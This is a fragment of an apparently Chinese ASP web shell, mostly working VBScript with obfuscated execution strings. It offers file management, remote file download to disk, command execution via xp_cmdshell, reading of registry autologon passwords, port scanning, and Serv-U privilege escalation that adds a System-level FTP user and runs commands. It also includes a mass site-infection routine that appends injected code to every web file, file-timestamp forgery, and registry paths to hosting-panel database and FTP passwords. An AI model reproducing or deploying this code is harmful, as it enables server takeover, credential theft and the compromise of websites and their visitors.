",1)+14:FEnd=InStr(FStart,TIn,vbCr):TFL.FileStart=DIEnd:TFL.FileSize=DStart-DIEnd-3:if not D2.Exists(UpName) then:D2.add UpName,TFL:end if + else:T2.Type=1:T2.Mode=3:T2.Open:T1.Position=DIEnd:T1.CopyTo T2,DStart-DIEnd-3:T2.Position = 0:T2.Type = 2:T2.Charset ="gb2312":SFV = T2.ReadText:T2.Close:if D1.Exists(UpName) then:D1(UpName)=D1(UpName)&","&SFV:else:D1.Add UpName,SFV:end if:end if:DStart=DStart+TLen+1:wend:TDa="":set T2=nothing:End Sub:Private Sub Class_Terminate:if Request.TotalBytes>0 then:D1.RemoveAll:D2.RemoveAll:set D1=nothing:set D2=nothing:T1.Close:set T1 =nothing:end if:End Sub:End Class: + +Function SinfoEn(ObjStr,ObjPos) +ObjStr=Replace(ObjStr,"~",""""):NewStr=Split(ObjStr,"`"):For i=0 To UBound(NewStr):SinfoEn=SinfoEn&EnCode(NewStr(i),ObjPos)&vbCrLf:Next:SinfoEn=Left(SinfoEn,Len(SinfoEn)-2) +End Function + + + +Class FIF:dim FileSize,FileStart:Private Sub Class_Initialize:FileSize=0:FileStart=0:End Sub:Public function SaveAs(F) + dim T3:SaveAs=true:if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(Sot(6,0)):T3.Mode=3:T3.Type=1:T3.Open:T1.position=FileStart:T1.copyto T3,FileSize:T3.SaveToFile F,2:T3.Close:set T3=nothing:SaveAs=false:end function:End Class: + +Function Fun(ShiSanObjstr):ShiSanObjstr=Replace(ShiSanObjstr,"|",""""):For ShiSanI=1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr,ShiSanI,1)<>"!"Then:ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr:Else:ShiSanNewStr=vbCrLf&ShiSanNewStr:End If:Next:Fun = ShiSanNewStr:End Function + + + +Class LBF:Dim CF:Private Sub Class_Initialize:SET CF=CreateObject(Sot(0,0)):End Sub:Private Sub Class_Terminate:Set CF=Nothing:End Sub +Function ShowDriver() +For Each D in CF.Drives +RRS"→本地磁盘 ("&D.DriveLetter&":)" +Next +End Function +Function Show1File(Path): +Set FOLD=CF.GetFolder(Path) +i=0 +SI="" +For Each F in FOLD.subfolders +SI=SI&"" +i=i+1 +If i mod 5 = 0 then SI=SI&"" +Next +SI=SI&"
    " +SI=SI&"0
    "&F.Name&"
    " +SI=SI&"
    [Copy " +SI=SI&"Del" +SI=SI&" Move" +SI=SI&" Down]
    " +RRS SI:SI="":i=0 +SI="" +For Each L in Fold.files +SI=SI&"" +i=i+1 +If i mod 2 = 0 then SI=SI&"" +Next + RRS SI&"
    2"&L.Name&" [ " +SI=SI&"Edit " +SI=SI&"Del " +Si=Si&"权限" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4:EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2:EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1:EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"" +end if +SI=SI&"Copy " +SI=SI&"Move ] - " + +SI=SI&clng(L.size/1024)&"K
    " +SI=SI&L.Type&" - " +SI=SI&L.DateLastModified&"
    " +Set FOLD=Nothing +End function: + + + + +Function DelFile(Path):ExeCute SinfoEn("he Th)at(PtsisExleFiF. CIfn`thPae ileFetel.DCF`r>teen/c!<成功删除~ h&at&P ~文件r>


    teen


    文件保存成功!":SI=SI&BackUrl:RRS SI:RRS ""©url&"":Response.End:End If:If Path<>"" Then:Set T=CF.opentextfile(Path, 1, False):Txt=HTMLEncode(T.readall) :T.close:Set T=Nothing:Else:Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件":End If:SI=SI&"
    ":SI=SI&"":SI=SI&"
    ":SI=SI&"
    ":SI=SI&"
          
    ":RRS SI: +End Function:Function CopyFile(Path):ExeCute SinfoEn("|~||~|h,at(Pitpl S =thPa)`enTh~ >~)<(1thPad an) 0)h(at(PtsisExleFiF. CIf`(1thPa),(0thPae ilyFop.CCF)`>~erntce


    teen~Path( and h(0))s(PatExist.FileIf CFn`Path(h(0),e PatveFilCF.Mo1)`enter功!文>
    r>~`&BackSI=SIUrl`RRS SI `End If",Pso):End Function:Function DelFolder(Path):ExeCute SinfoEn("he Th)at(PtsisExerldFoF. CIfn`thPar deoleFetel.DCF`r>teen/c!<成功删除&~thPa~&目录r>


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deolyFop.CCF)`>~erntce


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deoleFov.MCF)`>~erntce


    teen~hteen/c!<成功新建&~thPa~&目录r>


    teen

      0umberErr.N~ Or t = ~rmPorIf te `
      受到限制.限是否已经 请检查权服务端口,法得到终端RRS~无~` Else`~
      ~`End If`ogon\\WinlrsionentVe\Currws NTWindosoft\MicroWARE\\SOFTCHINEAL_MAY_LOC ~HKEath =oginPautoL~`nLogooAdmi ~AutKey =nableoginEautoLn~`rNameltUseDefauy = ~serKeoginUautoL~`swordltPasDefauy = ~assKeoginPautoL~`bleKeinEnatoLog & aunPathoLogid(autegReawsX.Rle = nEnaboLogiisAuty)` = 0 nableoginEAutoLIf isThen`启
      ~`Else`rKey)inUsetoLog & aunPathoLogid(autegReawsX.Rme = sernaoginUautoL`~
      me & sernaoginUautoL ~ & 系统帐户:自动登录的RRS ~~`sKey)inPastoLog & aunPathoLogid(autegReawsX.Rrd = asswooginPautoL`r TheIf Ern`Err.Clear`FalseRRS ~~`End If`~
      rd & asswooginPautoL ~ & 帐户密码:自动登录的RRS ~~`End If`
    RRS ~~",Pso):End Sub:sub ReadREG() +RRS "
    " +RRS "注册表键值读取

    " +RRS "" +RRS " " +RRS "
    " +RRS " " +RRS "" +RRS "


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +RRS "
  • " & theArray(i) +Next +Else +RRS "
  • " & theArray +End If +end if +end sub +Function downloads() +RW=RW&"

    直接下载

    " +RW=RW&"远程文件:
    " +RW=RW&"本地路径: " +RW=RW&"存在覆盖 " +RW=RW&"" +RW=RW&"
    " +Response.Write RW +If isDebugMode=False Then +On Error Resume Next +End If +Dim Http,theUrl,thePath,stream,getfileName,overWrite +theUrl=Request("theUrl") +thePath=Request("thePath") +overWrite=Request("overWrite") +Set stream=Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http=Server.CreateObject("MSXML2.XMLHTTP") +If overWrite<>2 Then +overWrite=1 +End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState<>4 Then +End If +With stream +.Type=1 +.Mode=3 +.Open +.Write Http.ResponseBody +.Position=0 +.SaveToFile thePath, overWrite +If Err.Number=3004 Then +Err.Clear +getfileName=Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If getfileName="" Then +getfileName="12vh.txt" +End If +thePath=thePath & "\" & getfileName +.SaveToFile thePath, overWrite +End If +.Close +End With +chkErr(Err) +Set Http=Nothing +Set Stream=Nothing +If isDebugMode=False Then +On Error Resume Next +End If +End Function +FuncTion MMD() +SI="
    CMD命令
    ":REsPonsE.writE SI:SI="":If trim(REquEst.form("MMD"))<>"" thEn:PaSsword= trim(REquEst.form("P")):id=trim(REquEst.form("U")):set adoConn=SErvEr.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;PaSsword="&PaSsword&";UsEr ID="&id:strQuery = "exec master.dbo.xp_cmdshell '" & REquEst.form("MMD") & "'":set recREsult = adoConn.Execute(strQuery):If NOT recREsult.EOF thEn:Do While NOT recREsult.EOF:strREsult = strREsult & chr(13) & recREsult(0):recREsult.MoveNext:Loop:End if:set recREsult = Nothing:strREsult = REplAcE(strREsult," "," "):strREsult = REplAcE(strREsult,"<","<"):strREsult = REplAcE(strREsult,">",">"):strREsult = REplAcE(strREsult,chr(13),"
    "):End if:set adoConn = Nothing:REsPonsE.WritE REquEst.form("MMD") & "
    "& strREsult +rrs ""©url&"" +end Function:Function adminab() +Response.Expires=0 +on error resume next +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +RRS admin.Name&"
    " +Next +if err then +RRS "他奶奶的不行啊:Wscript.Network" +end if +End Function +sWHEEL1 = "jwt" +Function Encrypt(acd) +For i = 1 To Len(acd) step 1 +c=mid(acd,i,1) +if c="※" then +d=mid(acd,i,2) +i=i+1 +e=replace(d,"※","") +bbc=bbc&mid(sWHEEL1,cint(e),1) +else +bbc=bbc&c +end if +next +Encrypt=bbc +end Function +sub ScanPort():ExeCute SinfoEn("76000 = 77meoutiptTir.ScrServe`~ thet~)=~(~por.Formquestif ren`89,4333,3345,14139,4,135,0,110,25,821,23ist=~PortL958~`else`m(~pot.Forequesist=rPortLrt~)`end if`)=~~ (~ip~.Formquestif rethen`27.0.IP=~10.1~`else`(~ip~.FormquestIP=re)`end if`D)端口扫描br>~`rue;'led=tdisabbmit.m1.su='forubmit' onSion='' act'postthod=1' me'formname=form RRS~<>~` n IP:p>ScaRRS~<;~`ze='6~' si~&IP&lue='p' vaid='iBox' 'Textlass=xt' ce='te' type='ipt nam~`rt Libr>PoRRS~~`br>~`n '>~' scaalue=om' v'buttlass=it' c'submtype=mit' ='sub nameinputRRS~<`11'>~ue='1' val'scan' id=iddenpe='hn' ty='sca nameinputRRS~<`form>/p> ~~ n~) <(~sca.FormquestIf reThen`1 = ttimerimer`>
    b>扫描RRS(~~)`~),~,~portForm(uest.t(req Splitmp =~)`ip~),orm(~est.F(requSplitip = ~,~)`bound to Uu = 0For h(ip)` = 0 ,~-~)p(hu)Str(iIf InThen`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `p(i))), tmip(huScan(Call `Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`), j)ip(huScan(Call `Next`Else`br>~)mber~)`End If`End If`Next`Else`hu),~v(ip(StrRe,1,Inp(hu)Mid(irt = ipSta.~))`,~-~)p(hu)Str(i))-Inip(hu,Len(-~)+1hu),~r(ip(,InStp(hu)Mid(i) to )+1,1),~.~ip(hurRev(,InStp(hu)Mid(ixx = For x)`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `tmp(ixxx, rt & ipStaScan(Call ))`Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`xxx,jrt & ipStaScan(Call )`Next`Else`br>~)mber~)`End If`End If`Next`Next`End If`Next`2 = ttimerimer`imer1er2-tt(timtr(inme=cstheti))`ime&~&thet in ~ocesshr>PrRRS~< s~`END IF",Pso):end sub: +:Sub Scan(targetip, portNum):On Error Resume Next:set conn = Server.CreateObject("ADODB.connection"):connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;":conn.ConnectionTimeout=1:conn.open connstr:If Err Then:If Err.number = -2147217843 or Err.number = -2147467259 Then:If InStr(Err.description, "(Connect()).") > 0 Then:RRS(targetip & ":" & portNum & ".......关闭
    "):Else:RRS(targetip & ":" & portNum & ".......开放
    "):End If:End If:End If:End Sub:Select Case Action:Case "MainMenu":MainMenu():Case "getTerminalInfo":getTerminalInfo():Case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():Case "goback":goback():Case "Servu":SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ +"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ +"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ +"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ +"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ +"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ +"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +c.send loginuser & loginpass & mt & deldomain & quit +set session("c")=c +RRS"
    提权完毕,已执行了命令:
    "&cmd&"

    " +RRS"" +RRS"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +RRS"

    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    Serv-U 提升权限 ASP版
    用户名:
    口 令:
    端 口:
    系统路径:
    命*令:
    " +RRS"" +RRS"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing:end function: +Case "Cplgm" +Fpath=Request("fd") +addcode = Request("code") +addcode2 = Request("code2") +pcfile=request("pcfile") +checkbox=request("checkbox") +ShowMsg=request("ShowMsg") +FType=request("FType") +M=request("M") +if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" +if Fpath="\" then Fpath=Server.MapPath("\") +if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") +if addcode="" then addcode="" +if checkbox="" then checkbox=request("checkbox") +if pcfile="" then +pcfileName=Request.ServerVariables("SCRIPT_NAME") +pcfilek=split(pcfileName,"/") +pcfilen=ubound(pcfilek) +pcfile=pcfilek(pcfilen) +end if +RRS ("
    网站根目录- "&Server.MapPath("/")&"
    ") +RRS ("本程序目录- "&Server.MapPath(".")) +RRS "
    [" +if M="1" then RRS"批量挂马-批量挂马" +if M="2" then RRS"批量清马-清除别人的网马" +if M="3" then RRS"批量挂马-批量替换代码" +if M="" then response.end +RRS "]" +RRS "" +if M="1" then RRS "" +RRS "" +RRS "" +RRS "" +RRS "" +if M="3" then RRS "" +RRS "" +RRS "
    文件路径: 填“\”即网站根目录;“.”为程序所在目录
    过滤重复: 防止一个页面中有多个重复的代码
    排除文件: 输入不想被修改的文件名,例如:1.asp|2.asp|3.asp
    文件类型: 输入要修改的文件类型[扩展名],例如:htm|html|asp|php|jsp|aspx|cgi
    " +if M="1" then RRS"要挂的马:" +if M="2" then RRS"要清的马:" +if M="3" then RRS"要替换的代码:" +RRS"
    替换为:
    --标记解释--[成功:√ , 排除:× , 重复:×]
    " +if request("submit")="开始执行" then +RRS"
    执行记录:
    " +call InsertAllFiles(Fpath,addcode,pcfile) +RRS"
    " +end if +sub att() +dim Path,FileName,NewTime,ShuXing +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +RRS"
    " +RRS"路?q径:
    " +RRS"文件名称:
    " +RRS"修改时间:
    " +RRS"
    " +RRS"" +RRS"
    " +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=ShuXing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +RRS"

    修改文件  "&path&fileName&"  属性完成" +end if +end sub +function php():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":Response.write" ":Response.write "





    如果你能看到test.php正常显示,表示支持PHP

    0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +function jsp():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.jsp")).Write"恭喜服务器支持jsp":Response.write" ":Response.write "





    如果你能看到test.jsp正常显示,表示支持jsp

    删除测试的所有文件(必须全部测试才可以删除,否则会出错!)

    ":End function:function aspx():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.aspx")).Write"恭喜服务器支持aspx":Response.write" ":Response.write "





    如果你能看到Test.aspx正常显示,表示支持asp.net

    否则就是不支持拉!测试完成记得删除!":End function +function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):response.write"删除完毕!":End function:function sam():Response.write "







    ":response.write"
    N
    ":End function:function goback():set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +Response.write "" +else +Response.write "" +end if +set Ofso=nothing +set ofolder=nothing +end function +Sub InsertAllFiles(Wpath,Wcode,pc) +Server.ScriptTimeout=999999999 +if right(Wpath,1)<>"\" then Wpath=Wpath &"\" +Set WFSO = CreateObject("Scripting.FileSystemObject") +on error resume next +Set f = WFSO.GetFolder(Wpath) +Set fc2 = f.files +For Each myfile in fc2 +Set FS1 = CreateObject("Scripting.FileSystemObject") +FType1=split(myfile.name,".") +FType2=ubound(FType1) +if Ftype2>0 then +FType3=LCase(FType1(FType2)) +else +FType3="无" +end if +if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then +select case M +case "1" +if checkbox<>"checked" then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS"√ "&Wpath&myfile.name +tfile.close +else +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +if Instr(tfile1.readall,Wcode)=0 then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS"√"&Wpath&myfile.name +tfile1.close +else +RRS"× "&Wpath&myfile.name +tfile1.close +end if +Set tfile1=Nothing +end if +case "2" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,"") +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS"√"&Wpath&myfile.name +Set objCountFile=Nothing +case "3" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,addCode2) +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS"√"&Wpath&myfile.name +Set objCountFile=Nothing +case else +RRS"错误.":response.end +end select +else +RRS"× "&Wpath&myfile.name +end if +RRS " → Down " +RRS "edit " +RRS "Del " +RRS "Copy " +RRS "Move
    " +Next +Set fsubfolers = f.SubFolders +For Each f1 in fsubfolers +NewPath=Wpath&""&f1.name +InsertAllFiles NewPath,Wcode,pc +Next +set tfile=nothing +Set FSO = Nothing +set tfile=nothing +set tfile2=nothing +Set WFSO = Nothing +End Sub +FuncTion su7() +response.write"
    " +response.write"

    " +response.write"------------------Serv-U Information------------------" +response.write"
    " +response.write"user:" +response.write"
    " +response.write"pwd :" +response.write"
    " +response.write"port:" +response.write"
    " +response.write"---------------------Add User!!! ---------------------
    " +response.write"Domain:   " +response.write"
    " +response.write"FTP USER:" +response.write"
    " +response.write"FTP PASS:" +response.write"
    " +response.write"FTP PORT:" +response.write"
    " +response.write"FTP PATH:" +response.write"" +response.write"
    " +response.write"Privilege" +response.write"" +response.write"

    " +response.write"

    " +response.write"" +response.write"Add User " +response.write" " +response.write"Del User

    " +response.write"

    " +response.write"" +response.write"

    " +response.write"
    " +user = request.Form("duser") +pass = request.Form("dpwd") +port = request.Form("dport") +domain = request.Form("domain") +fuser = request.Form("fuser") +fpass = request.Form("fpass") +fport = request.Form("fport") +fpath = request.Form("fpath") +privilege=request.Form("privilege") +select case privilege + case 2: + privilege="ReadOnly" + case 3: + privilege="Group" + case 4: + privilege="Domain" + case 5: + privilege="System" + end select + if request.Form("radiobutton") = "add" Then + +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=" & domain &"|0.0.0.0|" & fport & "|-1|1|0" & vbCrLf & "-DynDNSEnable=0" & vbCrLf & " DynIPName=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & fport & vbCrLf & "-User="& fuser & vbCrLf & "-Password=" & fpass & vbCrLf & _ + "-HomeDir=" & fpath & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ + "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ + "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ + "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ + "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ + "-Maintenance=" & privilege & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=" & fpath &"|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf + '-------- + 'On Error Resume Next + Set xPost = CreateObject("Microsoft.XMLHTTP") + xPost.Open "POST", "http://127.0.0.1:"& port &"/secdst",True, "", "" + xPost.Send loginuser & loginpass & mt & newdomain & newuser & quit + Set xPost =nothing + response.write "
    FTP user "&fuser&" pass "&fpass&" at port "& fport &"
    " + elseif request.Form("radiobutton") = "del" Then + + loginuser = "User " & user & vbCrLf + loginpass = "Pass " & pass & vbCrLf + mt = "SITE MAINTENANCE" & vbCrLf + deluser = "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & port & vbcrlf & " User="& fuser & vbcrlf + quit = "QUIT" & vbCrLf + Set xPost3 = CreateObject("MSXML2.XMLHTTP") + xPost3.Open "POST", "http://127.0.0.1:"& port &"/secdst", True + xPost3.Send loginuser & loginpass & mt & deluser & quit + Set xPOST3=nothing + response.write "
    FTP user "&fuser&" pass "&fpass&" at port "& fport &" have deleted
    " + else + response.write "
    let's Start!!!
    " + end if +end function +Function fuzhutq1() +RRS"

    :星外虚拟主机辅助提权:

    " +RRS"360杀毒db文件替换:
    " +RRS"c:\Program Files\360\360SD\deepscan\Section\mutex.db
    " +RRS"c:\Program Files\360\360Safe\deepscan\Section\mutex.db
    " +RRS"C:\Program Files\360\360Safe\AntiSection\mutex.db
    " +RRS"Flash文件替换:
    " +RRS"C:\WINDOWS\system32\Macromed\Flash\Flash10q.ocx
    " +RRS"IISrewrite3 文件替换:
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\Rewrite.log
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\httpd.conf
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\error.log
    " +RRS"DU Meter流量统计信息日志文件替换:
    " +RRS"c:\Documents and Settings\All Users\Application Data\Hagel Technologies\DU Meter\log.csv
    " +RRS"诺顿杀毒文件替换:
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Persist.bak
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Validate.dat
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Persist.Dat
    " +RRS"华盾文件替换:
    " +RRS"C:\WINDOWS\hchiblis.ibl
    " +RRS"一流过滤相关目录及文件:
    " +RRS"C:\7i24.com\iissafe\log\startandiischeck.txt
    " +RRS"C:\7i24.com\iissafe\log\scanlog.htm
    " +RRS"其他相关:
    " +RRS"Zend: C:\Program Files\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0\php-5.2.x\ZendOptimizer.dll
    " +RRS"C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index\
    " +RRS"Ps:星外提权方法通用于各虚拟主机系统
    " +end function +Function fuzhutq2() +RRS"

    :华众虚拟主机辅助提权:

    " +RRS"1`c:\windows\temp下有hzhost主机留下的ftp登陆记录v有用户名和密码
    " +RRS"2@找mssql sa密码,mysql root密码及serv-u的administrator密码
    " +RRS"mysql root密码:HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass
    " +RRS"sqlserver sa密码:HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mastersvrpass
    " +RRS"Serv-u管理密码:HKEY_LOCAL_MACHINE\software\hzhost\config\settings\svrpass
    " +RRS"以上信息配合hzhosts华众虚拟主机系统6.x 破解数据库密码工具使用
    " +RRS"下载地址:百度搜索 'hzhosts华众虚拟主机系统6.x 破解数据库密码工具'
    " +RRS"Ps:星外提权方法通用于此虚拟主机系统
    " +end function +Function fuzhutq3() +RRS"

    :N点虚拟主机辅助提权:

    " +RRS"默认数据库下载:
    " +RRS"1.9版:host_date/%23host%20%23%20date%23.mdb
    " +RRS"1.96版:host_date/%23host%20%23%20date%23196.mdb
    " +RRS"具体方法:通过星外相同方法读IIS,然后跨站到N点管理站点目录下,接着通过上述地址下载回得到的sa和mysql及站点的其他信息的key,通过下面的代码解密:
    " +'RRS"地址:需更改处" +RRS"Ps:星外提权方法通用于此虚拟主机系统
    " +end function +Function fuzhutq4() +RRS"请等待程序更新2ED" +end function +Function fuzhutq5() +if Request("Paths") ="" then +Paths_str="c:\windows\"&chr(13)&chr(10)&"c:\Documents and Settings\"&chr(13)&chr(10)&"c:\Program Files\" +if Session("paths")<>"" then Paths_str=Session("paths") + Response.Write "
    " + Response.Write "此程序可以检测你服务器的目录读写情况,为你服务器提供一些安全相关信息!
    输入你想检测的目录,程序会自动检测子目录
    " + Response.Write "" + Response.Write "
    " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
    " +else +Response.Write "重新输入路径
